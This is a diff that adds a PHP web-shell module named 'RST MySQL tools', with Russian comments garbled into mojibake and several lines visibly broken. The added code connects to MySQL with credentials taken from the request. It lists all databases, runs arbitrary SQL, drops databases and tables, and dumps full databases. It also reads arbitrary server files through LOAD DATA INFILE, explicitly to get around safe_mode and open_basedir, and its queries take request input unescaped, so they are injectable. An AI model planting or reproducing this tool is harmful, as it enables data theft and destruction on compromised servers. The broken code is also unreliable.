+ MySQL $server v.(".mysql_get_server_info()." )
+
+
+ ".$HTTP_SERVER_VARS["SERVER_SOFTWARE"]."
+
+
+ Âåðñèÿ PHP (".phpversion()." ) $php_type
+
+
+
+
+ IP:".$HTTP_SERVER_VARS["SERVER_ADDR"]." Name:".$HTTP_SERVER_VARS["SERVER_NAME"]."
+
+
+ ID PHP script (".get_current_user( )." )
+
+
+ $os
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+";
+
+$cnt_b=mysql_num_rows(mysql_list_dbs()); // êîë-âî áàç mysql ñåðâåðà
+print "
+
+
+
+
+
+
+
+
+ Ņ
+
+
+ RST MySQL
+
+
+ $server [CONNECTION Ok] Âñåãî áàç: $cnt_b
+
+
+ ".date ("j F- Y- g:i")."
+
+
+
+
+
+
+
+
+
+
+
+ ";
+
+if (isset($server)&&isset($port)&&isset($login)&&isset($passwd)){
+ $connection = mysql_connect($server.":".$port, $login, $passwd) or die("$header Îøèáêà ñîåäèíåíèÿ ñ MySQL ñåðâåðîì $server ".mysql_error()." Âåðîÿòíûå îøèáêè: Íå ïðàâèëüíûé àäðåñ ñåðâåðà $server Íå ïðàâèëüíûé íîìåð ïîðòà $port Íå âåðíîå èìÿ (login) þçåðà mysql $login Íå âåðíûé ïàðîëü (password) þçåðà mysql $passwd Äîñòóï ê ñåðâåðó $server çàïðåùåí ñ àäðåñà ".getenv('REMOTE_ADDR')." Óäàëåííûé ñåðâåð âðåìåííî íå äîñòóïåí
");
+}
+
+
+/*---------------------- L E F T B L O C K (menu bd)! -------------------*/
+/*Ïîêàçàòü âñå áàçû ñåðâåðà*/
+if ($connection&&!isset($db)) {
+ print "";
+
+ $result = mysql_list_dbs($connection) or die("$h_error".mysql_error()." $f_error");
+ while ( $row=mysql_fetch_row($result) ){
+ $cnt_title=mysql_num_rows(mysql_list_tables($row[0])); //êîë-âî òàáëèö áàçû
+ print "";
+ if ($cnt_title < 1) {
+ print "$row[0] ";
+ }else{
+ print "$row[0] ";
+ }
+ print "
";
+ }
+}
+
+// ñïèñîê òàáëèö áàçû äàííûõ
+if (isset($db)){
+ $result=mysql_list_tables($db) or die ("$h_error".mysql_error()." $f_error ");
+ print "";
+
+ print "".
+ "---[ $db ".
+ " ]---
";
+
+ while ( $row=mysql_fetch_array($result) ){
+ //ïîëó÷àåì êîëè÷åñòâî ñòðîê(çàïèñåé) â òàáëèöå
+ $count=mysql_query ("SELECT COUNT(*) FROM $row[0]");
+ $count_row= mysql_fetch_array($count);
+ print "".
+ "";
+ if ($count_row[0] < 1) {
+ print "$row[0] ($count_row[0])
";
+ }else{
+ print "$row[0] ($count_row[0])
";
+ }
+ @mysql_free_result($count);
+ }
+}
+
+/*---------------------- END L E F T B L O C K (menu bd)! -------------------*/
+
+print "
+
+ ";
+
+/*------------------------ R I G H T B L O C K ! -----------------------*/
+if ($connection&&!isset($db)) {
+$anon = @mysql_query("SELECT Host,User FROM mysql.user WHERE User=''", $connection);
+if (mysql_num_rows($anon)>0) { print "Âíèìàíèå! Àíîíèìíûì ïîëüçîâàòåëÿì ðàçðåøåíî ïîäêëþ÷åíèå ê ñåðâåðó MySQL
"; }
+print $form_ad_b;
+}
+/*-------------Ïðîöåññû MySql------------*/
+if (isset($proc) && $proc=="TRUE"){
+$result = mysql_query("SHOW PROCESSLIST", $connection);
+ print "Ïðîöåññû MySQL ñåðâåðà [ $server ] ID USER HOST DB COMMAND TIME STATE INFO ";
+ while ($row = mysql_fetch_array($result, MYSQL_NUM)) {
+ print "$row[0] $row[1] $row[2] $row[3] $row[4] $row[5] $row[6] $row[7] ";
+ }
+ print "
";
+ mysql_free_result($result);
+ unset($proc);
+}
+
+/*Ñîçäàåì íîâóþ áàçó*/
+if (isset($HTTP_GET_VARS['new_db'])){
+ $new_db=trim($HTTP_GET_VARS['new_db']);
+ if (mysql_create_db ($new_db)) {
+ print ("Áàçà $new_db óñïåøíî ñîçäàíà ");
+ print " ";
+ } else {
+ print "$h_error".mysql_error()."$f_error ";
+ }
+ unset($new_db);
+}
+
+/*Óäàëåíèå áàçû*/
+if (isset($HTTP_GET_VARS['drop'])){
+ $result_d = mysql_list_dbs($connection) or die("$h_error".mysql_error()."$f_error
");
+ while ( $row_d=mysql_fetch_row($result_d) ){
+ if ($drop==$row_d[0]) $dr="TRUE";
+ }
+ if ($dr="TRUE") {
+ mysql_drop_db($drop,$connection);
+ print ("Áàçà $drop óñïåøíî óäàëåíà ");
+ print " ";
+ }
+unset($drop);
+}
+
+/*-------------×èòàåì ïðîèçâîëüíûé ôàéë ñåðâåðà-----------*/
+if (isset($f)){
+print $form_file;
+}
+if(isset($p_file)){
+ mysql_create_db("tmp_bd") or die("$h_error".mysql_error()." $f_error");
+ mysql_select_db("tmp_bd") or die("$h_error".mysql_error()." $f_error");
+ mysql_query('CREATE TABLE `tmp_file` ( `Viewing the file in safe_mode+open_basedir` LONGBLOB NOT NULL );') or die("$h_error".mysql_error()." $f_error");
+ mysql_query("LOAD DATA INFILE \"".addslashes($p_file)."\" INTO TABLE tmp_file");
+ $query = "SELECT * FROM tmp_file";
+ $result = mysql_query($query) or die("$h_error".mysql_error()." $f_error");
+ /*ïîëó÷àåì íàçâàíèÿ ñòîëáöîâ*/
+ for ($i=0;$i$name
+
+
+
+
+
+
+
+ Ïîëíûé ïóòü ê ôàéëó:
+
+ ";
+ while ($line = mysql_fetch_array($result, MYSQL_ASSOC)) {
+ foreach ($line as $key =>$col_value) {
+ print htmlspecialchars($col_value)." ";
+ }
+ }
+ mysql_free_result($result);
+ print "
";
+ mysql_drop_db("tmp_bd") or die("$h_error".mysql_error()." $f_error");
+}
+
+/*--------------ïåðåìåííûå ñåðâåðà Apache------------*/
+if (isset($apc) && $apc=="TRUE"){
+ print "Ïåðåìåííûå ñåðâåðà Apache [ $server ]
+
+
+ Îïèñàíèå Ïåðåìåííàÿ
+
+ Èìÿ Internet-õîñòà ".$HTTP_SERVER_VARS["SERVER_NAME"]."
+ IP-àäðåñ õîñòà ".$HTTP_SERVER_VARS["SERVER_ADDR"]."
+ Ïîðò Web-ñåðâåðà. ".$HTTP_SERVER_VARS["SERVER_PORT"]."
+ Ñïåöèôèêàöèÿ CGI èíòåôåéñà. ".$HTTP_SERVER_VARS["GATEWAY_INTERFACE"]."
+ Ïðîòîêîë ïðè çàïðîñå äàííîé ñòðàíèöû (ìåòîä). ".$HTTP_SERVER_VARS["REQUEST_METHOD"]."
+ Root äèðåêòîðèÿ äëÿ äàííîãî ïîëüçîâàòåëÿ. ".$HTTP_SERVER_VARS["DOCUMENT_ROOT"]."
+ Çàãîëîâîê òåêóùåãî çàïðîñà. ".$HTTP_SERVER_VARS["HTTP_CONNECTION"]."
+ Äèðåêòèâà httpd.conf (SERVER_ADMIN). ".$HTTP_SERVER_VARS["SERVER_ADMIN"]."
+ Ñèãíàòóðà ñåðâåðà. ".$HTTP_SERVER_VARS["SERVER_SIGNATURE"]."
+
";
+ unset($apc);
+}
+
+/*---------------Ñòàòèñòèêà MySQL ñåðâåðà--------------*/
+if (isset($stat) && $stat=="TRUE"){
+$result = mysql_query("SHOW STATUS", $connection);
+ print "Ïåðåìåííûå ñîñòîÿíèÿ MySQL ñåðâåðà [ $server ] Ïåðåìåííûå ñîñòîÿíèÿ ñåðâåðà çíà÷åíèÿ ïåðåìåííûõ ";
+ while ($row = mysql_fetch_array($result, MYSQL_NUM)) {
+ print "$row[0] $row[1] ";
+ }
+ print "
";
+ mysql_free_result($result);
+}
+
+/*---------------Ñèñòåìíûå ïåðåìåííûå MySQL ñåðâåðà--------------*/
+if (isset($var) && $var=="TRUE"){
+$result = mysql_query("SHOW VARIABLES ", $connection);
+ print "Ñèñòåìíûå ïåðåìåííûå MySQL ñåðâåðà [ $server ] Ïåðåìåííûå ñåðâåðà çíà÷åíèÿ ïåðåìåííûõ ";
+ while ($row = mysql_fetch_array($result, MYSQL_NUM)) {
+ print "$row[0] $row[1] ";
+ }
+ print "
";
+ mysql_free_result($result);
+unset($var);
+}
+
+/*-------------âûâîä äàííûõ òàáëèö------------*/
+if (isset($db) && !isset($tbl)) {
+$cnt=mysql_num_rows(mysql_list_tables($db)); //êîë-âî òàáëèö áàçû
+ print "
+
+
+
+
+
+
+ ";
+ print " ÁÄ:($db ) Âñåãî òàáëèö:($cnt )";
+ if (isset($t)) { print " ".base64_decode($t);}
+ if (isset($t2)) { print base64_decode($t2);}
+/*-------------Ñòðóêòóðà áàçû ------------------*/
+if (isset($str) && $str=='TRUE'){
+ mysql_select_db($db);
+ if ($cnt < 1) {
+ print "".
+ "Íåâîçìîæíî ïîêàçàòü ñòðóêòóðó áàçû Â áàçå ".
+ "$db íåò òàáëèö!
";
+ }else{
+ $result = mysql_query("SHOW TABLE STATUS", $connection);
+ print "Ñòðóêòóðà áàçû [ $db ] ".
+ "".
+ "èìÿ òàáëèöû òèï ðÿäîâ ñîçäàíà ".
+ "ìîäèôèöèðîâàíà ðàçìåð(kb) äåéñòâèå ";
+ while ($row = mysql_fetch_array($result, MYSQL_NUM)) {
+ $size=$row[5]/1000;
+ print "$row[0] $row[1] $row[3] ".
+ "$row[10] $row[11] $size ".
+ "óíè÷òîæèòü
+ ";
+ }
+ print "
";
+ mysql_free_result($result);
+ }
+}
+
+print "
+
+
";
+}
+
+/*------------äàìï áàçû----------------*/
+$form_dump_bd=
+"".
+" ".
+" ".
+" ".
+" ".
+" ".
+" ".
+" ".
+" ".
+" ".
+" ";
+
+if ($HTTP_GET_VARS['dump']=='bd') {
+ if ($cnt >= 1) {
+ print $form_dump_bd;
+ }else{
+ print "".
+ "Íåâîçìîæíî ñäåëàòü äàìï áàçû Â áàçå ".
+ "$db íåò òàáëèö!
";
+ }
+}
+ $host = $HTTP_SERVER_VARS["SERVER_NAME"];
+ $ip = $HTTP_SERVER_VARS["SERVER_ADDR"];
+if ($HTTP_GET_VARS['strukt']=='d_strukt_bd' && $HTTP_GET_VARS['send']=='send_br'){
+ if (sizeof($tabs) == 0) {
+ // ïîëó÷àåì ñïèñîê òàáëèö áàçû
+ $res = mysql_query("SHOW TABLES FROM $db", $connection);
+ if (mysql_num_rows($res) > 0) {
+ while ($row = mysql_fetch_row($res)) {
+ $tabs[] .= $row[0];
+ }
+ }
+ }
+ // îòêðûâàåì ôàéë äëÿ çàïèñè äàìïà
+ $fp = fopen($file, "w");
+ fputs ($fp, "# RST MySQL tools\n# Home page: http://rst.void.ru\n#\n# Host settings:\n# MySQL version: (".mysql_get_server_info().")\n# Date: ".
+ date("F j, Y, g:i a")."\n# ".$host." (".$ip.")"." dump db \"".$db."\"\n#____________________________________________________________\n\n");
+ foreach($tabs as $tab) {
+ if ($add_drop) {
+ fputs($fp, "DROP TABLE IF EXISTS `".$tab."`;\n");
+ }
+ // ïîëó÷àåì òåêñò çàïðîñà ñîçäàíèÿ ñòðóêòóðû òàáëèöû
+ $res = mysql_query("SHOW CREATE TABLE `".$tab."`", $connection) or die(mysql_error());
+ $row = mysql_fetch_row($res);
+ fputs($fp, $row[1].";\n\n");
+
+ // ïîëó÷àåì äàííûå òàáëèöû
+ $res = mysql_query("SELECT * FROM `$tab`", $connection);
+ if (mysql_num_rows($res) > 0) {
+ while ($row = mysql_fetch_assoc($res)) {
+ $keys = implode("`, `", array_keys($row));
+ $values = array_values($row);
+ foreach($values as $k=>$v) {$values[$k] = addslashes($v);}
+ $values = implode("', '", $values);
+ $sql = "INSERT INTO `$tab`(`".$keys."`) VALUES ('".$values."');\n";
+ fputs($fp, $sql);
+ }
+ }
+ fputs ($fp, "#---------------------------------------------------------------------------------\n\n");
+ }
+ fclose($fp);
+ $dump_file=file($file);
+ print "";
+ print "";
+ foreach ($dump_file as $k=>$v) {
+ $v=str_replace("\n"," ",$v);
+ print "".strip_tags($v," ")." ";
+ }
+ print "
";
+ unlink($file);
+}
+
+/*--------------Ñîçäàòü íîâóþ òàáëèöó---------------*/
+ $form_cr_tbl=
+ "".
+ " ".
+ " ".
+ " ".
+ " ".
+ " ".
+ " ".
+ " ";
+
+
+if (isset($HTTP_GET_VARS['cr_tbl']) && $HTTP_GET_VARS['cr_tbl']=='new'){
+ print "$form_cr_tbl";
+}
+if ( (isset($new_count_cols)) && (ereg("[^0-9]",$new_count_cols) || preg_match("/ +/",$new_count_cols) || $new_count_cols=='') ) {
+ print "";
+ print "$form_cr_tbl";
+}
+
+if ( (ereg("[0-9]",$HTTP_GET_VARS['new_count_cols'])) && ($HTTP_GET_VARS['new_tbl_name'] !=='') ) {
+
+ for ($i=0; $i < $HTTP_GET_VARS['new_count_cols']; $i++) {
+
+ $pole_count .= "".
+ " ".
+ "
+
+ VARCHAR
+ TINYINT
+ TEXT
+ DATE
+ SMALLINT
+ MEDIUMINT
+ INT
+ BIGINT
+ FLOAT
+ DOUBLE
+ DECIMAL
+ DATETIME
+ TIMESTAMP
+ TIME
+ YEAR
+ CHAR
+ TINYBLOB
+ TINYTEXT
+ BLOB
+ MEDIUMBLOB
+ MEDIUMTEXT
+ LONGBLOB
+ LONGTEXT
+ ENUM
+ SET
+
+ ".
+ " ".
+ "
+
+
+ BINARY
+ UNSIGNED
+ UNS-D ZEROFILL
+
+ ".
+ "
+
+ not null
+ null
+
+ ".
+ " ".
+ "
+
+
+ auto_increment
+
+ ".
+ " ".
+ " ".
+ " ".
+ " ".
+ " ";
+ }
+
+ print
+ "".
+ " ".
+ " ".
+ " ".
+ " ".
+ " ".
+ " ".
+ " ".
+ " ";
+}
+
+if (isset($HTTP_GET_VARS['field_name'])) {
+
+ for ($i=0; $i0) {
+ $n_prim=substr_replace($n_prim,"",-2);
+ $n_name .=", PRIMARY KEY ($n_prim)";
+ }
+ if (count($n_ind)) {
+ $n_ind=substr_replace($n_ind,"",-2);
+ $n_name .=", INDEX ($n_ind)";
+ }
+ if (count($n_uniq)) {
+ $n_uniq=substr_replace($n_uniq,"",-2);
+ $n_name .=", UNIQUE ($n_uniq)";
+ }
+
+ $sql_new_tbl = "CREATE TABLE `$new_tbl_name` ( $n_name )";
+
+ if ($HTTP_GET_VARS['tbl_type'] !=='Default') {
+ $sql_new_tbl .= " TYPE =$tbl_type";
+ }
+ if ($HTTP_GET_VARS['comment'] !=='') {
+ $sql_new_tbl .= " COMMENT = '$comment'";
+ }
+
+ $r_n_tbl=mysql_db_query($db, $sql_new_tbl) or die("$h_error".mysql_error()."$f_error");
+ $t=base64_encode("Action: Òàáëèöà [ $new_tbl_name ] óñïåøíî ñîçäàíà. ");
+ if ($HTTP_GET_VARS['php_kod']=='ok') {
+ $t2=base64_encode("PHP-êîä çàïðîñà: \$sql='$sql_new_tbl';
");
+ }else{ $t2=''; }
+ print " ";
+}
+
+/*--------------END cîçäàòü íîâóþ òàáëèöó---------------*/
+
+/*-------------Ïðîèçâîëüíûé çàïðîñ ê ÁÄ-------------*/
+if ($HTTP_GET_VARS['q_tbl']=='bd') { $q_bd="SHOW TABLE STATUS "; }
+if ($HTTP_GET_VARS['return_sql']=='ok') { $q_bd=trim($HTTP_GET_VARS['new_query_bd']);}
+$form_query_db="
+
+
+
+
+
+
+
+ ";
+
+if (isset($db) && $HTTP_GET_VARS['q_tbl']=='bd') {
+ print $form_query_db;
+}
+if (isset($new_query_bd)) {
+ $new_query_bd=trim($new_query_bd);
+ print $form_query_db;
+ if ($HTTP_GET_VARS['php_kod']=='ok') {
+ print " PHP-êîä çàïðîñà: \$sql=\"$new_query_bd\"; ";
+ }
+ $r_q_bd=mysql_db_query($db, $new_query_bd) or die("$h_error".mysql_error()."$f_error");
+
+ print " Çàïðîñ óñïåøíî âûïîëíåí";
+ if ($r_q_bd !=='') {
+ print "";
+ while ($line_bd = @mysql_fetch_array($r_q_bd, MYSQL_ASSOC)) {
+ print "";
+ foreach ($line_bd as $key_bd =>$col_value_bd) {
+ print "".htmlspecialchars($col_value_bd)." ";
+ }
+ print " ";
+ }
+ print "
";
+ @mysql_free_result($r_q_bd);
+ }
+}
+
+/*---------------Óäàëåíèå òàáëèöû------------*/
+if (isset($drop_table) && isset($db)){
+ mysql_select_db($db) or die("$h_error".mysql_error()." $f_error");
+ $query = "DROP TABLE IF EXISTS $drop_table";
+ $result = mysql_query($query) or die("$h_error".mysql_error()." $f_error");
+ $t=base64_encode("Action: Òàáëèöà [ $drop_table ] óñïåøíî óäàëåíà. ");
+ print " ";
+ unset($drop_table);
+}
+if (isset($q_i)) { $n_img($tag,$f_n,$img_c); }
+
+if (isset($db) && isset($tbl)) {
+ /*Ïîëó÷àåì êîëè÷åñòâî ñòðîê â òàáëèöå*/
+ $count=mysql_query ("SELECT COUNT(*) FROM $tbl");
+ $count_row= mysql_fetch_array($count); //$count_row[0] êîë-âî ñòðîê
+ mysql_free_result($count);
+ print "
+
+
+
+
+
+
+ ";
+ if (isset($t)) { print " ".base64_decode($t);}
+ print " ÁÄ:($db ) Òàáëèöà:($tbl )
+ Âñåãî ñòðîê:($count_row[0] )
+
+
+
+
+
+
+ ";
+
+$start=$limit_start+$limit_count;
+
+if (isset($start) && ($start>0)) {
+ print "";
+}
+
+
+/*------------Ïåðåèìåíîâàíèå òàáëèöû------------*/
+if ($alter_table=="TRUE"){
+print "
+
+
+
+
+
+
+
+
+ ";
+}
+
+ if (isset($alttbl)){
+ mysql_select_db($db) or die("$h_error".mysql_error()." $f_error");
+ //$query = "RENAME TABLE $tbl TO $alttbl";
+ $query = "ALTER TABLE $tbl RENAME TO $alttbl";
+ $result = mysql_query($query) or die("$h_error".mysql_error()." $f_error");
+ $t=base64_encode("Action: Òàáëèöà [ $tbl ] ïåðåèìåíîâàíà â [ $alttbl ] ");
+ print " ";
+ }
+
+/*-------------------Ñòðóêòóðà òàáëèöû-----------------*/
+if (isset($st_tab) && $st_tab=='TRUE'){
+ mysql_select_db($st_db);
+ $result = mysql_query('desc '.$tbl, $connection);
+ print "Ñòðóêòóðà òàáëèöû [ $tbl ] ".
+ "";
+
+ for ($i=0;$i<@mysql_num_fields($result);$i++){
+ $name=mysql_field_name($result,$i);
+ $name=eregi_replace("Field","Ïîëå",trim($name));
+ $name=eregi_replace("Type","Òèï",trim($name));
+ $name=eregi_replace("Null","Íîëü",trim($name));
+ $name=eregi_replace("Key","Èíäåêñû",trim($name));
+ $name=eregi_replace("Default","Ïî óìîë÷àíèþ",trim($name));
+ $name=eregi_replace("Extra","Äîïîëíèòåëüíî",trim($name));
+ $nn .= "$name ";
+ }
+ print "$nn ";
+ while ($l_tbl = @mysql_fetch_array($result, MYSQL_ASSOC)) {
+ print "";
+ foreach ($l_tbl as $k_tbl =>$col_v_tbl) {
+ if (strtoupper(substr($col_v_tbl, 0, 3)) === 'PRI') {
+ $col_v_tbl="Ïåðâè÷íûé";
+ }
+ if (strtoupper(substr($col_v_tbl, 0, 3)) === 'UNI') {
+ $col_v_tbl="Óíèêàëüíûé";
+ }
+ if (strtoupper(substr($col_v_tbl, 0, 3)) === 'MUL' && $col_v_tbl !=='') {
+ $col_v_tbl="Èíäåêñ";
+ }
+ if (strtoupper(substr($col_v_tbl, 0, 3)) === 'YES') { $col_v_tbl="Äà"; }
+ if (eregi("Field", $k_tbl)) {
+ print "".htmlspecialchars($col_v_tbl)." ";
+ }elseif (eregi("Type", $k_tbl)) {
+ print "".htmlspecialchars($col_v_tbl)." ";
+ }else{
+ print "".htmlspecialchars($col_v_tbl)." ";
+ }
+ }
+ print " ";
+ }
+ print "
";
+ @mysql_free_result($result);
+}
+
+/*-------------Ïðîèçâîëüíûé çàïðîñ ê òàáëèöå-------------*/
+if ($HTTP_GET_VARS['q_tbl']=='table') { $q_tbl="SELECT * FROM `$tbl` WHERE 1 LIMIT 0, 30"; }
+if ($HTTP_GET_VARS['return_sql']=='ok') { $q_tbl=trim($HTTP_GET_VARS['new_query_tbl']); }
+$form_query_db_tbl="
+
+
+
+
+
+
+
+
+ ";
+
+
+if (isset($HTTP_GET_VARS['query_tbl']) || $HTTP_GET_VARS['q_tbl']=='table') {
+ print $form_query_db_tbl." ";
+}
+
+
+if (isset($new_query_tbl)) {
+ $new_query_tbl=trim($new_query_tbl);
+ print $form_query_db_tbl;
+
+
+ $result_tbl = mysql_query($new_query_tbl) or die("$h_error".mysql_error()." $f_error");
+ if ($result_tbl !=='') {
+ print "
+ ";
+ if ($php_kod=='ok') { print "PHP-êîä çàïðîñà: \$sql = \"$new_query_tbl\"; "; }
+ if (preg_match("[drop]",$new_query)) { print "Òàáëèöà óäàëåíà, îáíîâèòå ñïèñîê òàáëèö áàçû."; }
+
+ print "Çàïðîñ óñïåøíî âûïîëíåí ";
+ /*ïîëó÷àåì íàçâàíèÿ ñòîëáöîâ*/
+ for ($i=0;$i<@mysql_num_fields($result_tbl);$i++){
+ $name_tbl=mysql_field_name($result_tbl,$i);
+ print "$name_tbl ";
+ }
+
+ print " ";
+ while ($line_tbl = @mysql_fetch_array($result_tbl, MYSQL_ASSOC)) {
+ print "";
+ foreach ($line_tbl as $key_tbl =>$col_value_tbl) {
+ print "".htmlspecialchars($col_value_tbl)." ";
+ }
+ print " ";
+ }
+ print "
";
+ @mysql_free_result($result_tbl);
+ }
+}
+
+/*-------------ïîêàçàòü ñòðîêè òàáëèöû--------------*/
+if (!isset($alter_table) && !isset($st_tab) && !isset($query_tbl) && !isset($new_query_tbl) &&
+!isset($dump) && !isset($strukt) && !isset($query_edit) && !isset($query_del) && !isset($q_get) &&
+!isset($nn_row) && !isset($nn) && !isset($upd_f)) {
+ print "";
+
+//îïðåäåëÿåì èíäåêñ äëÿ òàáëèöû, ïî êàêîìó ïîëþ(ïîëÿì) áóäåì èñêàòü ðåäàêòèðóåìóþ çàïèñü
+//Key_name Èìÿ èíäåêñà, Column_name Èìÿ ñòîëáöà
+$query_ind = 'SHOW KEYS FROM '.$tbl;
+$result_ind = mysql_query($query_ind) or die("$h_error".mysql_error()." $f_error");
+
+while ($row = mysql_fetch_array($result_ind, MYSQL_ASSOC)) {
+ if ($row['Key_name'] == 'PRIMARY') {
+ $primary[] .= $row['Column_name'];
+ }
+}
+
+mysql_free_result($result_ind);
+
+ $query = "SELECT * FROM $tbl LIMIT $limit_start,$limit_count";
+ $result = mysql_query($query) or die("$h_error".mysql_error()." $f_error");
+if (mysql_num_rows($result) == 0) {
+ print "Òàáëèöà $tbl íå ñîäåðæèò íè îäíîé çàïèñè";
+}else{
+ /*ïîëó÷àåì íàçâàíèÿ ñòîëáöîâ*/
+ print " ";
+ for ($i=0;$i$name";
+ }
+}
+ while ($line = mysql_fetch_array($result, MYSQL_ASSOC)) {
+ print " ";
+
+ foreach ($line as $key =>$col_value) {
+
+ if (count($primary) > 0) {
+ if (in_array($key,$primary)) { $edit .= urlencode("`$key`='$col_value' AND "); }
+ }
+ else {
+ //if (strlen($col_value) >= 20) {
+ // $e_count=substr($col_value,0,20);
+ // $edit .= urlencode("`$key`='$e_count' AND ");
+ //} else {
+ $edit .= urlencode("`$key`='$col_value' AND ");
+ //}
+
+ }
+
+ $string .= "".htmlspecialchars($col_value)." ";
+ }
+ $edit=substr_replace($edit,"",-5); //îòáðîñèòü ïîñëåäíèé +AND+
+ print "Edit ".
+ "Del ".
+ $string." ";
+
+ unset($edit);
+ unset($string);
+ }
+
+ mysql_free_result($result);
+ print "
";
+}
+
+//óäàëÿåì çàïèñü
+if (isset($query_del)) {
+ $query = 'DELETE FROM '.$tbl.' WHERE '.urldecode($query_del);
+ $r_del = mysql_query($query) or die("$h_error".mysql_error()." $f_error");
+ print "Óñïåøíî óäàëåíî ñòðîê ( ".mysql_affected_rows()." )";
+
+}
+
+//âûâîäèì ôîðìó ðåäàêòèðîâàíèÿ ñòðîêè
+if (isset($query_edit)) {
+ $query = 'SELECT * FROM '.$tbl.' WHERE '.urldecode($query_edit);
+ $r_edit = mysql_query($query) or die("$h_error".mysql_error()." $f_error");
+
+
+print "Ðåäàêòèðîâàíèå çíà÷åíèé ïîëåé òàáëèöû ".
+ " ";
+ print " ";
+}
+
+if (isset($q_get)) {
+ $url=$HTTP_SERVER_VARS['QUERY_STRING'];
+ if ($HTTP_GET_VARS['up_str']=='up_ok') {
+ $del_str=urldecode(substr_replace($del_str,"",-5));
+ $b = explode('&', $url);
+ for ($i = 10; $i < count($b); $i++) {
+ $q = explode("=",$b[$i]);
+ $q_a .= "`".$q[0]."`='".$q[1]."', ";
+ }
+ $q_a_ins=urldecode(substr_replace($q_a,"",-2));
+ $q_st=urldecode(substr_replace($q_st,"",-2));
+ //÷òî çàìåíÿåì $del_str
+ //íà ÷òî áóäåì ìåíÿòü $q_a_ins
+
+ $up="UPDATE `$tbl` SET $q_a_ins WHERE $del_str LIMIT 1";
+ $q_ins_new = mysql_query($up) or die("$h_error".mysql_error()." $f_error");
+ $c_a_r=mysql_affected_rows();
+ print "".
+ "PHP-êîä çàïðîñà: \$sql=\"$up\"; ".
+ "Èçìåíåíî ñòðîê ($c_a_r)
";
+ }
+ if ($HTTP_GET_VARS['up_str']=='ins_ok') {
+ $b = explode('&', $url);
+ for ($i = 10; $i < count($b); $i++) {
+ $q = explode("=",$b[$i]);
+ $i_cols .="`$q[0]`, ";
+ $i_val .= "'$q[1]', ";
+ }
+ $i_cols=urldecode(substr_replace($i_cols,"",-2)); //êîëîíêè
+ $q_a_ins=urldecode(substr_replace($i_val,"",-2)); //çíà÷åíèÿ
+ $up="INSERT INTO `$tbl` ($i_cols) VALUES ($q_a_ins)";
+ $q_ins_new = mysql_query($up) or die("$h_error".mysql_error()." $f_error");
+ $c_a_r=mysql_affected_rows();
+ print "".
+ "PHP-êîä çàïðîñà: \$sql=\"$up\"; ".
+ "Èçìåíåíî ñòðîê ($c_a_r)
";
+
+ }
+}
+
+/*------------Âñòàâèòü ðÿä--------------*/
+if (isset($nn_row) && $HTTP_GET_VARS['nn_row']=='ok') {
+ $nn_q = 'SHOW FIELDS FROM '.$tbl;
+ $r_n = mysql_query($nn_q) or die("$h_error".mysql_error()." $f_error");
+print "".
+ " ".
+ " ".
+ " ".
+ " ".
+ " ".
+ " ".
+ " ".
+ " ".
+ "Âñòàâèòü íîâûé ðÿä â òàáëèöó [ $tbl ] ".
+ " ";
+}
+
+if (isset($nn) && $HTTP_GET_VARS['nn']=='ok') {
+ $url_n=urldecode($HTTP_SERVER_VARS['QUERY_STRING']);
+ $b_nn = explode('&', $url_n);
+ for ($i = 8; $i < count($b_nn); $i++) {
+ $q_nn = explode("=",$b_nn[$i]);
+ $q_a_nn .= "`".$q_nn[0]."` ,";
+ $q_nn_v .= "'".$q_nn[1]."' ,";
+ }
+
+ $q_nn_ins=urldecode(substr_replace($q_a_nn,"",-2));
+ $q_nn_v=substr_replace($q_nn_v,"",-2);
+ $sql_n="INSERT INTO `$tbl` ( $q_nn_ins ) VALUES ( $q_nn_v )";
+ mysql_query($sql_n) or die("$h_error".mysql_error()." $f_error");
+ $c_n_r=mysql_affected_rows();
+ print " ".
+ "Action: Óñïåøíî âñòàâëåíî ñòðîê ($c_n_r) ".
+ "PHP-êîä çàïðîñà: \$sql=\"$sql_n\";
";
+}
+
+/*-----------dump òàáëèöû------------*/
+$form_dump=
+"".
+" ".
+" ".
+" ".
+" ".
+" ".
+" ".
+" ".
+" ".
+" ";
+
+if ($dump=="tab"){ print $form_dump;}
+/*----------Òîëüêî ñòðóêòóðà------------*/
+
+if ($HTTP_GET_VARS['strukt']=='t_strukt' && $HTTP_GET_VARS['send']=='send_br' ){
+ $host = $HTTP_SERVER_VARS["SERVER_NAME"];
+ $ip = $HTTP_SERVER_VARS["SERVER_ADDR"];
+
+ mysql_select_db($db) or die("$h_error".mysql_error()." $f_error");
+ //$file = "/tmp/dump_".$tbl.".sql";
+ // îòêðûâàåì ôàéë äëÿ çàïèñè äàìïà
+ $fp = fopen($file, "w");
+ fputs ($fp, "# RST MySQL tools\r\n# Home page: http://rst.void.ru\r\n#\n# Host settings:\n# $host ($ip)\n# MySQL version: (".mysql_get_server_info().")\n# Date: ".
+ date("F j, Y, g:i a")."\n# "." dump db \"".$db."\" table \"".$tbl."\"\n#_________________________________________________________\n\n");
+
+ // ïîëó÷àåì òåêñò çàïðîñà ñîçäàíèÿ ñòðóêòóðû òàáëèöû
+ $res = mysql_query("SHOW CREATE TABLE `".$tbl."`", $connection) or die("$h_error".mysql_error()." $f_error");
+ $row = mysql_fetch_row($res);
+ fputs($fp, "DROP TABLE IF EXISTS `".$tbl."`;\n");
+ fputs($fp, $row[1].";\n\n");
+ fclose($fp);
+ $dump_file=file($file);
+print "";
+foreach ($dump_file as $k=>$v){$v=str_replace("\n"," ",$v);print "".strip_tags($v," ")." ";}
+print "
";
+
+unlink($file);
+}
+
+/*----------Ñòðóêòóðà è äàííûå------------*/
+if ($HTTP_GET_VARS['strukt']=='d_strukt' && $HTTP_GET_VARS['send']=='send_br'){
+ $host = $HTTP_SERVER_VARS["SERVER_NAME"];
+ $ip = $HTTP_SERVER_VARS["SERVER_ADDR"];
+
+ mysql_select_db($db) or die("$h_error".mysql_error()." $f_error");
+ //$file = "/tmp/dump_".$tbl.".sql";
+ // îòêðûâàåì ôàéë äëÿ çàïèñè äàìïà
+ $fp = fopen($file, "w");
+ fputs ($fp, "# RST MySQL tools\r\n# Home page: http://rst.void.ru\r\n#\n# Host settings:\n# $host ($ip)\n # MySQL version: (".mysql_get_server_info().")\n# Date: ".
+ date("F j, Y, g:i a")."\n# "." dump db \"".$db."\" table \"".$tbl."\"\n#_________________________________________________________\n\n");
+
+ // ïîëó÷àåì òåêñò çàïðîñà ñîçäàíèÿ ñòðóêòóðû òàáëèöû
+ $res = mysql_query("SHOW CREATE TABLE `".$tbl."`", $connection) or die("$h_error".mysql_error()." $f_error");
+ $row = mysql_fetch_row($res);
